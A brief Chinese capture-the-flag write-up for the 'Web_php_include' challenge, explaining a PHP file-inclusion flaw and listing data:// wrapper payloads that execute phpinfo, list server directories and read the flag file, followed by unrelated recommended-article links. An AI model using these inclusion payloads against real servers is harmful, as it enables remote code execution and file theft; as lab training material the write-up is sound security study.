32.攻防世界Web_php_include

进入场景

echo $_GET'hello' 直接将用户通过 GET 方法提交的 hello 参数值输出到页面上,这可能会导致 XSS(跨站脚本攻击)漏洞。

在下面的代码中,虽然对 page 中的 php:// 进行了替换处理,但是仍然存在文件包含漏洞的风险。如果我们能够通过 _GET'page' 传入一个恶意的文件路径,就可能导致服务器上的任意文件被包含和执行

"file://"是一种用于指定本地文件系统中文件的URI(统一资源标识符)协议。通过"file://"协议,可以在浏览器或其他支持该协议的应用程序中访问本地文件

"data://"协议是 PHP 中的一种数据流协议,它允许将数据作为文件来读取。该协议的语法如下:data:(<mediatype>)(;base64),<data>,其中,<mediatype>是可选的媒体类型,<data>是数据内容。

测试

/?page=data://text/plain,<?php phpinfo()?>

目录路径

/?page=data://text/plain,<?php echo $_SERVER'DOCUMENT_ROOT'; ?>

目录文件

/?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>

读取文件内容

/?page=data://text/plain,<?php a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars(a); ?>

相关推荐
一只小菜鸡..13 小时前
南京大学 操作系统 (JYY) 学习笔记:文件系统实现——从 FAT、ext2 到现代 B-Tree 黑科技
笔记·科技·学习
小飞猪。。13 小时前
笔记十八:大模型 RLHF 系统工程实战笔记
人工智能·笔记
深爱水瓶 血影S狂风13 小时前
Linux.NET学习手记(2)
linux·学习·.net
明明真系叻13 小时前
RAG学习(1)
学习·rag
夜雨风云13 小时前
系统或软件的安全(Security)
安全·security·软件设计·软件架构设计·服务质量模型
春水碧于天,画船听雨眠13 小时前
LangChain学习笔记(一)
笔记·学习·langchain
zerwave13 小时前
Docker 学习:多容器网络互通——从 host 模式到自定义 bridge 网络
网络·学习·docker
Zzj_tju13 小时前
Instruction Tuning 论文精读路线:从 Supervised Fine-Tuning 到 Instruction Following
人工智能·笔记·学习·语言模型·自然语言处理
大模型搬砖师14 小时前
在Kubernetes上部署企业AI网关:一份云原生参考
网络·人工智能·安全
j7~14 小时前
【Linux】二十八.线程篇五《Linux多线程编程:线程同步之条件变量》---详解
linux·运维·c++·学习·条件变量·线程同步